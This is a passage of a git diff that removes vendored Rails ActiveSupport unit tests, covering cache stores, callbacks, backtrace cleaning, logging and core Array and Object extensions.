-class FileStoreTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:file_store, Dir.pwd)
-  end
-
-  def teardown
-    File.delete("foo.cache")
-  end
-
-  include CacheStoreBehavior
-end
-
-class MemoryStoreTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
-  end
-
-  include CacheStoreBehavior
-
-  def test_store_objects_should_be_immutable
-    @cache.write('foo', 'bar')
-    assert_raise(ActiveSupport::FrozenObjectError) { @cache.read('foo').gsub!(/.*/, 'baz') }
-    assert_equal 'bar', @cache.read('foo')
-  end
-
-  def test_multi_get
-    @cache.write('foo', 1)
-    @cache.write('goo', 2)
-    result = @cache.read_multi('foo', 'goo')
-    assert_equal({'foo' => 1, 'goo' => 2}, result)
-  end
-end
-
-uses_memcached 'memcached backed store' do
-  class MemCacheStoreTest < ActiveSupport::TestCase
-    def setup
-      @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store)
-      @data = @cache.instance_variable_get(:@data)
-      @cache.clear
-      @cache.silence!
-      @cache.logger = Logger.new("/dev/null")
-    end
-
-    include CacheStoreBehavior
-
-    def test_store_objects_should_be_immutable
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @cache.read('foo').gsub!(/.*/, 'baz')
-        assert_equal 'bar', @cache.read('foo')
-      end
-    end
-
-    def test_stored_objects_should_not_be_frozen
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-      end
-      @cache.with_local_cache do
-        assert !@cache.read('foo').frozen?
-      end
-    end
-
-    def test_write_should_return_true_on_success
-      @cache.with_local_cache do
-        result = @cache.write('foo', 'bar')
-        assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
-        assert result
-      end
-    end
-
-    def test_local_writes_are_persistent_on_the_remote_cache
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-      end
-
-      assert_equal 'bar', @cache.read('foo')
-    end
-
-    def test_clear_also_clears_local_cache
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @cache.clear
-        assert_nil @cache.read('foo')
-      end
-    end
-
-    def test_local_cache_of_read_and_write
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @data.flush_all # Clear remote cache
-        assert_equal 'bar', @cache.read('foo')
-      end
-    end
-
-    def test_local_cache_should_read_and_write_integer
-      @cache.with_local_cache do
-        @cache.write('foo', 1)
-        assert_equal 1, @cache.read('foo')
-      end
-    end
-
-    def test_local_cache_of_delete
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @cache.delete('foo')
-        @data.flush_all # Clear remote cache
-        assert_nil @cache.read('foo')
-      end
-    end
-
-    def test_local_cache_of_exist
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @cache.instance_variable_set(:@data, nil)
-        @data.flush_all # Clear remote cache
-        assert @cache.exist?('foo')
-      end
-    end
-
-    def test_local_cache_of_increment
-      @cache.with_local_cache do
-        @cache.write('foo', 1, :raw => true)
-        @cache.increment('foo')
-        @data.flush_all # Clear remote cache
-        assert_equal 2, @cache.read('foo', :raw => true).to_i
-      end
-    end
-
-    def test_local_cache_of_decrement
-      @cache.with_local_cache do
-        @cache.write('foo', 1, :raw => true)
-        @cache.decrement('foo')
-        @data.flush_all # Clear remote cache
-        assert_equal 0, @cache.read('foo', :raw => true).to_i
-      end
-    end
-
-    def test_exist_with_nulls_cached_locally
-      @cache.with_local_cache do
-        @cache.write('foo', 'bar')
-        @cache.delete('foo')
-        assert !@cache.exist?('foo')
-      end
-    end
-
-    def test_multi_get
-      @cache.with_local_cache do
-        @cache.write('foo', 1)
-        @cache.write('goo', 2)
-        result = @cache.read_multi('foo', 'goo')
-        assert_equal({'foo' => 1, 'goo' => 2}, result)
-      end
-    end
-
-    def test_middleware
-      app = lambda { |env|
-        result = @cache.write('foo', 'bar')
-        assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
-        assert result
-      }
-      app = @cache.middleware.new(app)
-      app.call({})
-    end
-
-    def test_expires_in
-      result = @cache.write('foo', 'bar', :expires_in => 1)
-      assert_equal 'bar', @cache.read('foo')
-      sleep 2
-      assert_equal nil, @cache.read('foo')
-    end
-
-    def test_expires_in_with_invalid_value
-      @cache.write('baz', 'bat')
-      assert_raise(RuntimeError) do
-        @cache.write('foo', 'bar', :expires_in => 'Mon Jun 29 13:10:40 -0700 2150')
-      end
-      assert_equal 'bat', @cache.read('baz')
-      assert_equal nil, @cache.read('foo')
-    end
-  end
-
-  class CompressedMemCacheStore < ActiveSupport::TestCase
-    def setup
-      @cache = ActiveSupport::Cache.lookup_store(:compressed_mem_cache_store)
-      @cache.clear
-    end
-
-    include CacheStoreBehavior
-  end
-end
-
-class CacheStoreLoggerTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
-
-    @buffer = StringIO.new
-    @cache.logger = Logger.new(@buffer)
-  end
-
-  def test_logging
-    @cache.fetch('foo') { 'bar' }
-    assert @buffer.string.present?
-  end
-
-  def test_mute_logging
-    @cache.mute { @cache.fetch('foo') { 'bar' } }
-    assert @buffer.string.blank?
-  end
-end
diff --git a/vendor/rails/activesupport/test/callbacks_test.rb b/vendor/rails/activesupport/test/callbacks_test.rb
deleted file mode 100644
index 3a5c1b71..00000000
--- a/vendor/rails/activesupport/test/callbacks_test.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'abstract_unit'
-
-class Record
-  include ActiveSupport::Callbacks
-
-  define_callbacks :before_save, :after_save
-
-  class << self
-    def callback_symbol(callback_method)
-      "#{callback_method}_method".tap do |method_name|
-        define_method(method_name) do
-          history << [callback_method, :symbol]
-        end
-      end
-    end
-
-    def callback_string(callback_method)
-      "history << [#{callback_method.to_sym.inspect}, :string]"
-    end
-
-    def callback_proc(callback_method)
-      Proc.new { |model| model.history << [callback_method, :proc] }
-    end
-
-    def callback_object(callback_method)
-      klass = Class.new
-      klass.send(:define_method, callback_method) do |model|
-        model.history << [callback_method, :object]
-      end
-      klass.new
-    end
-  end
-
-  def history
-    @history ||= []
-  end
-end
-
-class Person < Record
-  [:before_save, :after_save].each do |callback_method|
-    callback_method_sym = callback_method.to_sym
-    send(callback_method, callback_symbol(callback_method_sym))
-    send(callback_method, callback_string(callback_method_sym))
-    send(callback_method, callback_proc(callback_method_sym))
-    send(callback_method, callback_object(callback_method_sym))
-    send(callback_method) { |model| model.history << [callback_method_sym, :block] }
-  end
-
-  def save
-    run_callbacks(:before_save)
-    run_callbacks(:after_save)
-  end
-end
-
-class ConditionalPerson < Record
-  # proc
-  before_save Proc.new { |r| r.history << [:before_save, :proc] }, :if => Proc.new { |r| true }
-  before_save Proc.new { |r| r.history << "b00m" }, :if => Proc.new { |r| false }
-  before_save Proc.new { |r| r.history << [:before_save, :proc] }, :unless => Proc.new { |r| false }
-  before_save Proc.new { |r| r.history << "b00m" }, :unless => Proc.new { |r| true }
-  # symbol
-  before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :if => :yes
-  before_save Proc.new { |r| r.history << "b00m" }, :if => :no
-  before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :unless => :no
-  before_save Proc.new { |r| r.history << "b00m" }, :unless => :yes
-  # string
-  before_save Proc.new { |r| r.history << [:before_save, :string] }, :if => 'yes'
-  before_save Proc.new { |r| r.history << "b00m" }, :if => 'no'
-  before_save Proc.new { |r| r.history << [:before_save, :string] }, :unless => 'no'
-  before_save Proc.new { |r| r.history << "b00m" }, :unless => 'yes'
-  # Array with conditions
-  before_save Proc.new { |r| r.history << [:before_save, :symbol_array] }, :if => [:yes, :other_yes]
-  before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, :no]
-  before_save Proc.new { |r| r.history << [:before_save, :symbol_array] }, :unless => [:no, :other_no]
-  before_save Proc.new { |r| r.history << "b00m" }, :unless => [:yes, :no]
-  # Combined if and unless
-  before_save Proc.new { |r| r.history << [:before_save, :combined_symbol] }, :if => :yes, :unless => :no
-  before_save Proc.new { |r| r.history << "b00m" }, :if => :yes, :unless => :yes
-  # Array with different types of conditions
-  before_save Proc.new { |r| r.history << [:before_save, :symbol_proc_string_array] }, :if => [:yes, Proc.new { |r| true }, 'yes']
-  before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, Proc.new { |r| true }, 'no']
-  # Array with different types of conditions comibned if and unless
-  before_save Proc.new { |r| r.history << [:before_save, :combined_symbol_proc_string_array] },
-              :if => [:yes, Proc.new { |r| true }, 'yes'], :unless => [:no, 'no']
-  before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, Proc.new { |r| true }, 'no'], :unless => [:no, 'no']
-
-  def yes; true; end
-  def other_yes; true; end
-  def no; false; end
-  def other_no; false; end
-
-  def save
-    run_callbacks(:before_save)
-    run_callbacks(:after_save)
-  end
-end
-
-class CallbacksTest < Test::Unit::TestCase
-  def test_save_person
-    person = Person.new
-    assert_equal [], person.history
-    person.save
-    assert_equal [
-      [:before_save, :symbol],
-      [:before_save, :string],
-      [:before_save, :proc],
-      [:before_save, :object],
-      [:before_save, :block],
-      [:after_save, :symbol],
-      [:after_save, :string],
-      [:after_save, :proc],
-      [:after_save, :object],
-      [:after_save, :block]
-    ], person.history
-  end
-end
-
-class ConditionalCallbackTest < Test::Unit::TestCase
-  def test_save_conditional_person
-    person = ConditionalPerson.new
-    person.save
-    assert_equal [
-      [:before_save, :proc],
-      [:before_save, :proc],
-      [:before_save, :symbol],
-      [:before_save, :symbol],
-      [:before_save, :string],
-      [:before_save, :string],
-      [:before_save, :symbol_array],
-      [:before_save, :symbol_array],
-      [:before_save, :combined_symbol],
-      [:before_save, :symbol_proc_string_array],
-      [:before_save, :combined_symbol_proc_string_array]
-    ], person.history
-  end
-end
-
-class CallbackTest < Test::Unit::TestCase
-  include ActiveSupport::Callbacks
-
-  def test_eql
-    callback = Callback.new(:before, :save, :identifier => :lifesaver)
-    assert callback.eql?(Callback.new(:before, :save, :identifier => :lifesaver))
-    assert callback.eql?(Callback.new(:before, :save))
-    assert callback.eql?(:lifesaver)
-    assert callback.eql?(:save)
-    assert !callback.eql?(Callback.new(:before, :destroy))
-    assert !callback.eql?(:destroy)
-  end
-
-  def test_dup
-    a = Callback.new(:before, :save)
-    assert_equal({}, a.options)
-    b = a.dup
-    b.options[:unless] = :pigs_fly
-    assert_equal({:unless => :pigs_fly}, b.options)
-    assert_equal({}, a.options)
-  end
-end
-
-class CallbackChainTest < Test::Unit::TestCase
-  include ActiveSupport::Callbacks
-
-  def setup
-    @chain = CallbackChain.build(:make, :bacon, :lettuce, :tomato)
-  end
-
-  def test_build
-    assert_equal 3, @chain.size
-    assert_equal [:bacon, :lettuce, :tomato], @chain.map(&:method)
-  end
-
-  def test_find
-    assert_equal :bacon, @chain.find(:bacon).method
-  end
-
-  def test_replace_or_append
-    assert_equal [:bacon, :lettuce, :tomato], (@chain.replace_or_append!(Callback.new(:make, :bacon))).map(&:method)
-    assert_equal [:bacon, :lettuce, :tomato, :turkey], (@chain.replace_or_append!(Callback.new(:make, :turkey))).map(&:method)
-    assert_equal [:bacon, :lettuce, :tomato, :turkey, :mayo], (@chain.replace_or_append!(Callback.new(:make, :mayo))).map(&:method)
-  end
-
-  def test_delete
-    assert_equal [:bacon, :lettuce, :tomato], @chain.map(&:method)
-    @chain.delete(:bacon)
-    assert_equal [:lettuce, :tomato], @chain.map(&:method)
-  end
-end
diff --git a/vendor/rails/activesupport/test/clean_backtrace_test.rb b/vendor/rails/activesupport/test/clean_backtrace_test.rb
deleted file mode 100644
index ddbc258d..00000000
--- a/vendor/rails/activesupport/test/clean_backtrace_test.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require 'abstract_unit'
-
-class BacktraceCleanerFilterTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_filter { |line| line.gsub("/my/prefix", '') }
-  end
-  
-  test "backtrace should not contain prefix when it has been filtered out" do
-    assert_equal "/my/class.rb", @bc.clean([ "/my/prefix/my/class.rb" ]).first
-  end
-  
-  test "backtrace should contain unaltered lines if they dont match a filter" do
-    assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
-  end
-  
-  test "backtrace should filter all lines in a backtrace" do
-    assert_equal \
-      ["/my/class.rb", "/my/module.rb"], 
-      @bc.clean([ "/my/prefix/my/class.rb", "/my/prefix/my/module.rb" ])
-  end
-end
-
-class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_silencer { |line| line =~ /mongrel/ }
-  end
-  
-  test "backtrace should not contain lines that match the silencer" do
-    assert_equal \
-      [ "/other/class.rb" ], 
-      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
-  end
-end
-
-class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_filter   { |line| line.gsub("/mongrel", "") }
-    @bc.add_silencer { |line| line =~ /mongrel/ }
-  end
-  
-  test "backtrace should not silence lines that has first had their silence hook filtered out" do
-    assert_equal [ "/class.rb" ], @bc.clean([ "/mongrel/class.rb" ])
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/clean_logger_test.rb b/vendor/rails/activesupport/test/clean_logger_test.rb
deleted file mode 100644
index 269dd2a6..00000000
--- a/vendor/rails/activesupport/test/clean_logger_test.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-
-class CleanLoggerTest < Test::Unit::TestCase
-  def setup
-    @out = StringIO.new
-    @logger = Logger.new(@out)
-  end
-
-  def test_format_message
-    @logger.error 'error'
-    assert_equal "error\n", @out.string
-  end
-
-  def test_silence
-    # Without yielding self.
-    @logger.silence do
-      @logger.debug  'debug'
-      @logger.info   'info'
-      @logger.warn   'warn'
-      @logger.error  'error'
-      @logger.fatal  'fatal'
-    end
-
-    # Yielding self.
-    @logger.silence do |logger|
-      logger.debug  'debug'
-      logger.info   'info'
-      logger.warn   'warn'
-      logger.error  'error'
-      logger.fatal  'fatal'
-    end
-
-    # Silencer off.
-    Logger.silencer = false
-    @logger.silence do |logger|
-      logger.warn   'unsilenced'
-    end
-    Logger.silencer = true
-
-    assert_equal "error\nfatal\nerror\nfatal\nunsilenced\n", @out.string
-  end
-  
-  def test_datetime_format
-    @logger.formatter = Logger::Formatter.new
-    @logger.datetime_format = "%Y-%m-%d"
-    @logger.debug 'debug'
-    assert_equal "%Y-%m-%d", @logger.datetime_format
-    assert_match(/D, \[\d\d\d\d-\d\d-\d\d#\d+\] DEBUG -- : debug/, @out.string)
-  end
-  
-  def test_nonstring_formatting
-    an_object = [1, 2, 3, 4, 5]
-    @logger.debug an_object
-    assert_equal("#{an_object.inspect}\n", @out.string)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/array_ext_test.rb b/vendor/rails/activesupport/test/core_ext/array_ext_test.rb
deleted file mode 100644
index 0f041ab9..00000000
--- a/vendor/rails/activesupport/test/core_ext/array_ext_test.rb
+++ /dev/null
@@ -1,394 +0,0 @@
-require 'abstract_unit'
-require 'bigdecimal'
-
-class ArrayExtAccessTests < Test::Unit::TestCase
-  def test_from
-    assert_equal %w( a b c d ), %w( a b c d ).from(0)
-    assert_equal %w( c d ), %w( a b c d ).from(2)
-    assert_nil %w( a b c d ).from(10)
-  end
-
-  def test_to
-    assert_equal %w( a ), %w( a b c d ).to(0)
-    assert_equal %w( a b c ), %w( a b c d ).to(2)
-    assert_equal %w( a b c d ), %w( a b c d ).to(10)
-  end
-  
-  def test_second_through_tenth
-    array = (1..42).to_a
-    
-    assert_equal array[1], array.second
-    assert_equal array[2], array.third
-    assert_equal array[3], array.fourth
-    assert_equal array[4], array.fifth
-    assert_equal array[41], array.forty_two
-  end
-end
-
-class ArrayExtToParamTests < Test::Unit::TestCase
-  class ToParam < String
-    def to_param
-      "#{self}1"
-    end
-  end
-
-  def test_string_array
-    assert_equal '', %w().to_param
-    assert_equal 'hello/world', %w(hello world).to_param
-    assert_equal 'hello/10', %w(hello 10).to_param
-  end
-
-  def test_number_array
-    assert_equal '10/20', [10, 20].to_param
-  end
-
-  def test_to_param_array
-    assert_equal 'custom1/param1', [ToParam.new('custom'), ToParam.new('param')].to_param
-  end
-end
-
-class ArrayExtToSentenceTests < Test::Unit::TestCase
-  include ActiveSupport::Testing::Deprecation
-  
-  def test_plain_array_to_sentence
-    assert_equal "", [].to_sentence
-    assert_equal "one", ['one'].to_sentence
-    assert_equal "one and two", ['one', 'two'].to_sentence
-    assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence
-  end
-
-  def test_to_sentence_with_words_connector
-    assert_deprecated(":connector has been deprecated. Use :words_connector instead") do
-      assert_equal "one, two, three", ['one', 'two', 'three'].to_sentence(:connector => '')
-    end
-    
-    assert_deprecated(":connector has been deprecated. Use :words_connector instead") do
-      assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:connector => 'and ')
-    end
-    
-    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ')
-    assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ')
-    assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil)
-  end
-
-  def test_to_sentence_with_last_word_connector
-    assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do
-      assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => true)
-    end
-    
-    assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do
-      assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => false)
-    end
-    
-    assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ')
-    assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil)
-    assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ')
-    assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' and ')
-  end
-
-  def test_two_elements
-    assert_equal "one and two", ['one', 'two'].to_sentence
-    assert_equal "one two", ['one', 'two'].to_sentence(:two_words_connector => ' ')
-  end
-
-  def test_one_element
-    assert_equal "one", ['one'].to_sentence
-  end
-
-  def test_one_non_string_element
-    assert_equal '1', [1].to_sentence
-  end
-end
-
-class ArrayExtToSTests < Test::Unit::TestCase
-  def test_to_s_db
-    collection = [
-      Class.new { def id() 1 end }.new,
-      Class.new { def id() 2 end }.new,
-      Class.new { def id() 3 end }.new
-    ]
-
-    assert_equal "null", [].to_s(:db)
-    assert_equal "1,2,3", collection.to_s(:db)
-  end
-end
-
-class ArrayExtGroupingTests < Test::Unit::TestCase
-  def test_in_groups_of_with_perfect_fit
-    groups = []
-    ('a'..'i').to_a.in_groups_of(3) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), %w(g h i)], groups
-    assert_equal [%w(a b c), %w(d e f), %w(g h i)], ('a'..'i').to_a.in_groups_of(3)
-  end
-
-  def test_in_groups_of_with_padding
-    groups = []
-    ('a'..'g').to_a.in_groups_of(3) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g', nil, nil]], groups
-  end
-
-  def test_in_groups_of_pads_with_specified_values
-    groups = []
-
-    ('a'..'g').to_a.in_groups_of(3, 'foo') do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g', 'foo', 'foo']], groups
-  end
-
-  def test_in_groups_of_without_padding
-    groups = []
-
-    ('a'..'g').to_a.in_groups_of(3, false) do |group|
-      groups << group
-    end
-
-    assert_equal [%w(a b c), %w(d e f), ['g']], groups
-  end
-
-  def test_in_groups_returned_array_size
-    array = (1..7).to_a
-
-    1.upto(array.size + 1) do |number|
-      assert_equal number, array.in_groups(number).size
-    end
-  end
-
-  def test_in_groups_with_empty_array
-    assert_equal [[], [], []], [].in_groups(3)
-  end
-
-  def test_in_groups_with_block
-    array = (1..9).to_a
-    groups = []
-
-    array.in_groups(3) do |group|
-      groups << group
-    end
-
-    assert_equal array.in_groups(3), groups
-  end
-
-  def test_in_groups_with_perfect_fit
-    assert_equal [[1, 2, 3], [4, 5, 6], [7, 8, 9]],
-      (1..9).to_a.in_groups(3)
-  end
-
-  def test_in_groups_with_padding
-    array = (1..7).to_a
-
-    assert_equal [[1, 2, 3], [4, 5, nil], [6, 7, nil]],
-      array.in_groups(3)
-    assert_equal [[1, 2, 3], [4, 5, 'foo'], [6, 7, 'foo']],
-      array.in_groups(3, 'foo')
-  end
-
-  def test_in_groups_without_padding
-    assert_equal [[1, 2, 3], [4, 5], [6, 7]],
-      (1..7).to_a.in_groups(3, false)
-  end
-end
-
-class ArraySplitTests < Test::Unit::TestCase
-  def test_split_with_empty_array
-    assert_equal [[]], [].split(0)
-  end
-
-  def test_split_with_argument
-    assert_equal [[1, 2], [4, 5]],  [1, 2, 3, 4, 5].split(3)
-    assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
-  end
-
-  def test_split_with_block
-    assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
-  end
-
-  def test_split_with_edge_values
-    assert_equal [[], [2, 3, 4, 5]],  [1, 2, 3, 4, 5].split(1)
-    assert_equal [[1, 2, 3, 4], []],  [1, 2, 3, 4, 5].split(5)
-    assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
-  end
-end
-
-class ArrayToXmlTests < Test::Unit::TestCase
-  def test_to_xml
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => true, :indent => 0)
-
-    assert_equal '<records type="array"><record>', xml.first(30)
-    assert xml.include?(%(<age type="integer">26</age>)), xml
-    assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>)), xml
-    assert xml.include?(%(<name>David</name>)), xml
-    assert xml.include?(%(<age type="integer">31</age>)), xml
-    assert xml.include?(%(<age-in-millis type="decimal">1.0</age-in-millis>)), xml
-    assert xml.include?(%(<name>Jason</name>)), xml
-  end
-
-  def test_to_xml_dups_options
-    options = {:skip_instruct => true}
-    [].to_xml(options)
-    # :builder, etc, shouldn't be added to options
-    assert_equal({:skip_instruct => true}, options)
-  end
-
-  def test_to_xml_with_dedicated_name
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 }, { :name => "Jason", :age => 31 }
-    ].to_xml(:skip_instruct => true, :indent => 0, :root => "people")
-
-    assert_equal '<people type="array"><person>', xml.first(29)
-  end
-
-  def test_to_xml_with_options
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0)
-
-    assert_equal "<records><record>", xml.first(17)
-    assert xml.include?(%(<street-address>Paulina</street-address>))
-    assert xml.include?(%(<name>David</name>))
-    assert xml.include?(%(<street-address>Evergreen</street-address>))
-    assert xml.include?(%(<name>Jason</name>))
-  end
-
-  def test_to_xml_with_dasherize_false
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => false)
-
-    assert_equal "<records><record>", xml.first(17)
-    assert xml.include?(%(<street_address>Paulina</street_address>))
-    assert xml.include?(%(<street_address>Evergreen</street_address>))
-  end
-
-  def test_to_xml_with_dasherize_true
-    xml = [
-      { :name => "David", :street_address => "Paulina" }, { :name => "Jason", :street_address => "Evergreen" }
-    ].to_xml(:skip_instruct => true, :skip_types => true, :indent => 0, :dasherize => true)
-
-    assert_equal "<records><record>", xml.first(17)
-    assert xml.include?(%(<street-address>Paulina</street-address>))
-    assert xml.include?(%(<street-address>Evergreen</street-address>))
-  end
-
-  def test_to_with_instruct
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => false, :indent => 0)
-
-    assert_match(/^<\?xml [^>]*/, xml)
-    assert_equal 0, xml.rindex(/<\?xml /)
-  end
-
-  def test_to_xml_with_block
-    xml = [
-      { :name => "David", :age => 26, :age_in_millis => 820497600000 },
-      { :name => "Jason", :age => 31, :age_in_millis => BigDecimal.new('1.0') }
-    ].to_xml(:skip_instruct => true, :indent => 0) do |builder|
-      builder.count 2
-    end
-
-    assert xml.include?(%(<count>2</count>)), xml
-  end
-  
-  class Namespaced < Hash
-  end
-  def test_to_xml_with_namespaced_classes
-    xml = [Namespaced.new(:name => "David")].to_xml
-    assert_match(/<array\-to\-xml\-tests\-namespaceds/, xml)
-  end
-
-  def test_to_xml_with_empty
-    xml = [].to_xml
-    assert_match(/type="array"\/>/, xml)
-  end
-end
-
-class ArrayExtractOptionsTests < Test::Unit::TestCase
-  def test_extract_options
-    assert_equal({}, [].extract_options!)
-    assert_equal({}, [1].extract_options!)
-    assert_equal({:a=>:b}, [{:a=>:b}].extract_options!)
-    assert_equal({:a=>:b}, [1, {:a=>:b}].extract_options!)
-  end
-end
-
-class ArrayExtRandomTests < ActiveSupport::TestCase
-  def test_sample_from_array
-    assert_nil [].sample
-    assert_equal [], [].sample(5)
-    assert_equal 42, [42].sample
-    assert_equal [42], [42].sample(5)
-
-    a = [:foo, :bar, 42]
-    s = a.sample(2)
-    assert_equal 2, s.size
-    assert_equal 1, (a-s).size
-    assert_equal [], a-(0..20).sum{a.sample(2)}
-  
-    o = Object.new
-    def o.to_int; 1; end
-    assert_equal [0], [0].sample(o)
-  
-    o = Object.new
-    assert_raises(TypeError) { [0].sample(o) }
-    
-    o = Object.new
-    def o.to_int; ''; end
-    assert_raises(TypeError) { [0].sample(o) }
-
-    assert_raises(ArgumentError) { [0].sample(-7) }
-  end
-
-  def test_deprecated_rand_on_array
-    assert_deprecated { [].rand }
-  end
-
-  def test_deprecated_random_element_on_array
-    assert_deprecated { [].random_element }
-  end
-end
-
-class ArrayWrapperTests < Test::Unit::TestCase
-  class FakeCollection
-    def to_ary
-      ["foo", "bar"]
-    end
-  end
-
-  def test_array
-    ary = %w(foo bar)
-    assert_same ary, Array.wrap(ary)
-  end
-
-  def test_nil
-    assert_equal [], Array.wrap(nil)
-  end
-
-  def test_object
-    o = Object.new
-    assert_equal [o], Array.wrap(o)
-  end
-
-  def test_string
-    assert_equal ["foo"], Array.wrap("foo")
-  end
-
-  def test_string_with_newline
-    assert_equal ["foo\nbar"], Array.wrap("foo\nbar")
-  end
-
-  def test_object_with_to_ary
-    assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/base64_ext_test.rb b/vendor/rails/activesupport/test/core_ext/base64_ext_test.rb
deleted file mode 100644
index bd0e9f84..00000000
--- a/vendor/rails/activesupport/test/core_ext/base64_ext_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'abstract_unit'
-
-class Base64Test < Test::Unit::TestCase
-  def test_no_newline_in_encoded_value
-    assert_match(/\n/,    ActiveSupport::Base64.encode64("oneverylongstringthatwouldnormallybesplitupbynewlinesbytheregularbase64"))
-    assert_no_match(/\n/, ActiveSupport::Base64.encode64s("oneverylongstringthatwouldnormallybesplitupbynewlinesbytheregularbase64"))
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/bigdecimal.rb b/vendor/rails/activesupport/test/core_ext/bigdecimal.rb
deleted file mode 100644
index 9faad914..00000000
--- a/vendor/rails/activesupport/test/core_ext/bigdecimal.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-
-class BigDecimalTest < Test::Unit::TestCase
-  def test_to_yaml
-    assert_equal("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
-    assert_equal("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
-    assert_equal("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
-    assert_equal("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/core_ext/blank_test.rb b/vendor/rails/activesupport/test/core_ext/blank_test.rb
deleted file mode 100644
index 4ed01379..00000000
--- a/vendor/rails/activesupport/test/core_ext/blank_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'abstract_unit'
-
-class BlankTest < Test::Unit::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", [], {} ]
-  NOT   = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
-
-  def test_blank
-    BLANK.each { |v| assert v.blank?,  "#{v.inspect} should be blank" }
-    NOT.each   { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
-  end
-
-  def test_present
-    BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
-    NOT.each   { |v| assert v.present?,  "#{v.inspect} should be present" }
-  end
-
-  def test_presence
-    BLANK.each { |v| assert_equal nil, v.presence, "#{v.inspect}.presence should return nil" }
-    NOT.each   { |v| assert_equal v,   v.presence, "#{v.inspect}.presence should return self" }
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/cgi_ext_test.rb b/vendor/rails/activesupport/test/core_ext/cgi_ext_test.rb
deleted file mode 100644
index 320efd40..00000000
